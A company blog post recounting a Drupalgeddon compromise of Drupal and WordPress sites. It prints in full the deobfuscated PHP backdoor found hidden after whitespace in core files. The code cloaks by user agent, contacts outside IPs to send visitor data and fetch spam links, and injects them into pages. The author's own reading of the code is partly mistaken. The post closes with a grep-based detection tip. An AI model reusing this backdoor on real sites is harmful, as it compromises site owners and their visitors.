Anatomy of a Drupalgeddon attack

Before working at Metal Toad, I saw an email from Acquia. A strange email.

It went something like this: 

On October 15th, we will be addressing a security concern at 9:00 am.

Hmm. That's interesting. I don't remember getting an email about security updates like this. As with any CMS, there are constant security updates as new (and sometimes exotic) vulnerabilities are found. 

Sure enough, the day came. I remember reading an article afterwards. That article said if you did not update to Drupal 7.32 within the first 7 hours of the announcement, consider yourself hacked.

The actual patch for Drupal core is available here, and shows that it's literally a one-liner.

We (not Metal Toad) actually found Wordpress sites that were hacked with Drupalgeddon. In a moment I'll paste the deobfuscated code. But that code essentially opens the availability to execute external PHP code. That code came from somewhere else; from the hackers. I'm afraid I can't say exactly what was happening there, but the executed code was able to traverse parent directories, discover new docroots, and infect CMS'es within reach. In my experience we saw Wordpress and Drupal 6 sites infected from an exploit that existed in Drupal 7.

I've been reading some other blogs regarding Drupalgeddon, and those seem to affect the menu_router table. I did not experience that particular exploit flavor. I haven't seen anyone cover the exploit that I experienced, so I'll cover it.

Essentially, the first line of these files were modified:

  • index.php
  • includes/bootstrap.inc
  • includes/database.inc

After the opening <?php  tag, there is a lot of whitespace before the gibberish begins.

Why whitespace? At the time when Drupalgeddon was upon us, I was viewing these files in an IDE that used word-wrapping. I didn't really understand why there was white space.

However, when I ssh'ed into the server and used vi on the command line, all the code is essentially "invisible" unless you have the gumption to press "End" on the first line, or "Right arrow" a few dozen times. (Or perhaps you could see the gibberish if you had a really, really big monitor, and your terminal was full screen.)

Smart.

I will not post the "gibberish" code that I mentioned earlier. It's too lengthy and, in itself, it's incomprehensible.

I did, however, successfully decode the execution code, which I'll share in a second.

But first, what was this gibberish code? It was base64_encoded. Five times. So the function name is scrambled, the actual contents are base64 encoded, that is base64 encoded, that is base64 encoded, that is... you get the idea.

After you decode this, multiple times, we have this: (Note: you'll have to scroll down a bit for my final thoughts)

<?php
error_reporting(0);
if (!function_exists("ZM5j2q0shf_pirogok")){
  function ZM5j2q0shf_pirogok(){
    return false; 
  } 
  if (!function_exists("Uno_decode")){
    function Uno_decode($String) {
      $String = base64_decode($String);
      $Salt="dc5p9dOpBc";
      $StrLen = strlen($String);
      $Seq = "DMEf5HZuPq";
      $Gamma = "";
      while (strlen($Gamma)<$StrLen) {
        $Seq = pack("H*",sha1($Gamma.$Seq.$Salt));
        $Gamma.=substr($Seq,0,8);   
      } 
      return $String^$Gamma; 
    } 
  } 
  if (!function_exists("get_t_dir_mass")){
    function get_t_dir_mass() {
      if (function_exists("sys_get_temp_dir")) {
        if (@is_writeable(sys_get_temp_dir())) {
          $res[] = realpath(sys_get_temp_dir());   
        } 
      }
      if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) {
        $res[] = realpath($_ENV["TMP"]);   
      }
      if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) {
        $res[] = realpath( $_ENV["TMPDIR"]);   
      }
      if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) {
        $res[] = realpath( $_ENV["TEMP"]);   
      }
      $tempfile=@tempnam(__FILE__,"");
      if (@file_exists($tempfile)) {
        @unlink($tempfile);
        if (@is_writeable(realpath(dirname($tempfile)))) {
          $res[] = realpath(dirname($tempfile));   
        }
      } 
      if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) {
        $res[] = realpath(@ini_get("upload_tmp_dir"));   
      }
      if (@is_writeable(realpath(session_save_path()))) {
        $res[] = realpath(session_save_path());   
      }
      if (@is_writeable(realpath(dirname(__FILE__)))) {
        $res[] = realpath(dirname(__FILE__));   
      }
      return array_unique($res);   
    }
  }
 
  if (!function_exists("get_ua")){
    function get_ua(){
      $name = get_true_name();
      foreach(get_t_dir_mass() as $t){
        if(file_exists($t.DIRECTORY_SEPARATOR.$name)){
          foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){
            $tt = Uno_decode($tt);
            if(strpos($tt,".") === false){
              $tmp = explode("|",$tt);
              foreach($tmp as $u){
                $know[] = trim($u);           
              } 
            } 
          } 
        } 
      } 
      if(count($know) == 0){
        $know[] = "msie";
        $know[] = "firefox";
        $know[] = "googlebot";       
      }
      return array_unique($know);   
    }
  }
 
  if (!function_exists("get_true_name")){
    function get_true_name(){
      return ".backup_time";   
    } 
  }
 
  if (!function_exists("strposa")){
    function strposa($haystack, $needle, $offset=0) {
      if(!is_array($needle)) $needle = array($needle);
      foreach($needle as $query) {
        if(strpos($haystack, $query, $offset) !== false) return true;     
      }
      return false;    
    }
  }
 
  if (isset($_SERVER["HTTP_USER_AGENT"])){
    $ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
    $true_ua = get_ua();
    if (strposa($ua,$true_ua)){
      if (!function_exists("t_dir")){
        function t_dir() {
          if (function_exists("sys_get_temp_dir")) {
            if (@is_writeable(sys_get_temp_dir())) {
              return realpath(sys_get_temp_dir());           
            }
          }
          if (!empty($_ENV["TMP"]) && @is_writeable(realpath($_ENV["TMP"]))) {
            return realpath($_ENV["TMP"]);         
          }
          if (!empty($_ENV["TMPDIR"]) && @is_writeable(realpath($_ENV["TMPDIR"]))) {
            return realpath( $_ENV["TMPDIR"]);         
          }
          if (!empty($_ENV["TEMP"]) && @is_writeable(realpath($_ENV["TEMP"]))) {
            return realpath( $_ENV["TEMP"]);         
          }
          $tempfile=@tempnam(__FILE__,"");
          if (@file_exists($tempfile)) {
            @unlink($tempfile);
            if (@is_writeable(realpath(dirname($tempfile)))) {
              return realpath(dirname($tempfile));           
            } 
          }
          if (@is_writeable(realpath(@ini_get("upload_tmp_dir")))) {
            return realpath(@ini_get("upload_tmp_dir"));         
          }
          if (@is_writeable(realpath(session_save_path()))) {
            return realpath(session_save_path());         
          }
          if (@is_writeable(realpath(dirname(__FILE__)))) {
            return realpath(dirname(__FILE__));         
          }
          return null;       
        }
      }
      if (!function_exists("get_know_ip")){
         function get_know_ip(){
           $name = get_true_name();
           foreach(get_t_dir_mass() as $t){
            if(file_exists($t.DIRECTORY_SEPARATOR.$name)){
              foreach (file($t.DIRECTORY_SEPARATOR.$name) as $tt){
                $tt = Uno_decode($tt);
                if(strpos($tt,".")>0){
                  $know[] = trim($tt);               
                }
              }
            }
          }
          return array_unique($know);       
        }
      }
      if (!function_exists("save_know_ip")){
        function save_know_ip($ip){
          $name = get_true_name();
          $content = implode(PHP_EOL, $ip);
          foreach(get_t_dir_mass() as $t){
            $f = fopen($t.DIRECTORY_SEPARATOR.$name,"w");
            fputs($f,$content);
            fclose($f);         
          }
        }
      }
      if (!function_exists("ZM5j2q0shf_get_real_ip")){
        function ZM5j2q0shf_get_real_ip() {
          $proxy_headers = array("CLIENT_IP","FORWARDED","FORWARDED_FOR","FORWARDED_FOR_IP","HTTP_CLIENT_IP","HTTP_FORWARDED","HTTP_FORWARDED_FOR","HTTP_FORWARDED_FOR_IP", "HTTP_PC_REMOTE_ADDR","HTTP_PROXY_CONNECTION","HTTP_VIA", "HTTP_X_FORWARDED", "HTTP_X_FORWARDED_FOR", "HTTP_X_FORWARDED_FOR_IP","HTTP_X_IMFORWARDS","HTTP_XROXY_CONNECTION","VIA", "X_FORWARDED", "X_FORWARDED_FOR");
          foreach($proxy_headers as $proxy_header) {
            if(isset($_SERVER[$proxy_header]) && preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){
            3
            }$/", $_SERVER[$proxy_header])){
              return $_SERVER[$proxy_header];
            } else if(stristr(",", $_SERVER[$proxy_header]) !== FALSE) {
              $proxy_header_temp = trim(array_shift(explode(",", $_SERVER[$proxy_header])));
               if (($pos_temp = stripos($proxy_header_temp, ":")) !== FALSE) 
                $proxy_header_temp = substr($proxy_header_temp, 0, $pos_temp);
               if(preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){
              3
              }$/", $proxy_header_temp) )
                return $proxy_header_temp;
 
            } 
          }
          return $_SERVER["REMOTE_ADDR"];     
        }
      }
      if (!function_exists("ZM5j2q0shf_get_url")){
        function ZM5j2q0shf_get_url(){
          $url = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
          if (strpos($url,"?") !== false){
            $url = substr($url,0,strpos($url,"?"));         
          }
          return $url;       
        }
      }
      if (!function_exists("ZM5j2q0shf_get_contents")){
        function ZM5j2q0shf_get_contents($ip, $page){
          if((function_exists("curl_init")) && (function_exists("curl_exec"))){
            $ch = curl_init("http://" .$ip . "/" .$page);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 3);
            $ult = trim(curl_exec($ch));
            return $ult;         
          }
          if (ini_get("allow_url_fopen")) {
            $ult = trim(@file_get_contents("http://" .$ip . "/" .$page));
            return $ult;         
          }
          $fp = fsockopen($ip, 80, $errno, $errstr, 30);
          if ($fp) {
            $out = "GET $page HTTP/1.0\r\n";
            $out .= "Host: $ip\r\n";
            $out .= "Connection: Close\r\n\r\n";
            fwrite($fp, $out);
            $ret = "";
            while (!feof($fp)) {
              $ret .= fgets($fp, 128);
            }
            fclose($fp);
            $ult = trim(substr($ret, strpos($ret, "\r\n\r\n") + 4));
          }
          return $ult;      
        }
      }
      if (!function_exists("ZM5j2q0shf_samui_get_links")){
        function ZM5j2q0shf_samui_get_links(){
          $all = get_know_ip();
          shuffle($all);
          $url = ZM5j2q0shf_get_url();
          $real_ip = ZM5j2q0shf_get_real_ip();
          $ua = strtolower($_SERVER["HTTP_USER_AGENT"]);
          $aid = "1001";
          $cod = md5($url.time());
          $check = md5($cod);
          $ua = urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));
          $ref = urlencode(strtolower($_SERVER["HTTP_REFERER"]));
          $page = "/ml.php?mother=elite-endohawaii.com&cr=1&aid=".$aid."&url=".$url."&ip=".$real_ip."&ua=".$ua."&cod=".$cod."&ref=".$ref;
          foreach ($all as $ip){
            $tc = ZM5j2q0shf_get_contents(trim($ip),$page);
            $pos = strpos($tc, $check);
            if ($pos !== false){
              $proxy_list = substr($tc,0,$pos);
              save_know_ip(explode("\n",$proxy_list));
              $links = substr($tc,$pos+32);
              return $links;
            }
          }
        }
      }
      if (!function_exists("ZM5j2q0shf_mod_con")){
        function ZM5j2q0shf_mod_con($con){
          if (strpos($con,"]*)?>/i", "".ZM5j2q0shf_samui_get_links(), $con,1);
          return $text;     
        } else {
          return $con;
        }
      }
    }
    if (!function_exists("ZM5j2q0shf_callback")){
      function ZM5j2q0shf_callback($buf){
        if (headers_sent()){
          if (in_array("Content-Encoding: gzip", headers_list())){
            $tmpfname = tempnam(t_dir(), "FOO");
            $zf = fopen($tmpfname, "w");
            fputs($zf, $buf);
            fclose($zf);
            $zd = gzopen($tmpfname, "r");
            $contents = gzread($zd, 10000000);
            $contents = ZM5j2q0shf_mod_con($contents);
            gzclose($zd);
            unlink($tmpfname);
            $contents = gzencode($contents);
          } else {
            $contents = ZM5j2q0shf_mod_con($buf);         
          }
        } else {
          $contents = ZM5j2q0shf_mod_con($buf);
        }
        return($contents);     
      }
    }
    ob_start("ZM5j2q0shf_callback");
  }
}

There's a lot of code here. I'll admit I don't know exactly what's happening. But what I believe: it's accepting an archived file, extracting it, running it, and then deleting it. (See the unlink statement above. Don't scroll up, I bet it's in your vision right now.)

On a professional level, I understood the need to patch all of these sites immediately, which I helped to do. But on the inside, I really wanted to see the actual execution code.

I had a personal server with a Drupal 7 instance. I deliberately did not patch it. I prayed and prayed that it would get attacked with the same attack vector. I wanted to take out the one line (in the above code) that removes the extracted PHP execution code. But no luck. I was not hacked on my personal server. Sad day. Sad face emoji. But it sure was interesting to depack our attacker's code.

One last thing, that's interesting as well as hilariouis. 

There is a certain pattern that exists when you base64_encode using PHP. It lies in the equal sign at the end of the string.

So there were nested and nested and nested code that used base64 encoded ... code. So there were many instances where padded strings appeared like this: =') and ==') Those are not crying, smiling emojis, but instead they're needles in the haystack. So while the function names are randomly scramled (presumably so as to hide themselves from protection) the act of encoding made the files equally recognizable.

Those a pretty weird character strings right? It's almost so weird that you can do a quick grep or ag command to find all instances of that weird character string. And that's what I did.

So to you: hacker-person, congrats on hacking our sites. (Again, not Metal Toad sites) But thank you for giving us such an easy way to sniff you out.

Note: You need to check the database as well. This blog post does not cover that.

Filed under:

Add new comment

Restricted HTML

  • Allowed HTML tags: <a href hreflang> <em> <strong> <cite> <blockquote cite> <code> <ul type> <ol start type> <li> <dl> <dt> <dd> <h2 id> <h3 id> <h4 id> <h5 id> <h6 id>
  • You can enable syntax highlighting of source code with the following tags: <code>, <blockcode>, <cpp>, <java>, <php>. The supported tag styles are: <foo>, [foo].
  • Web page addresses and email addresses turn into links automatically.
  • Lines and paragraphs break automatically.
CAPTCHA
This question is for testing whether or not you are a human visitor and to prevent automated spam submissions.

About the Author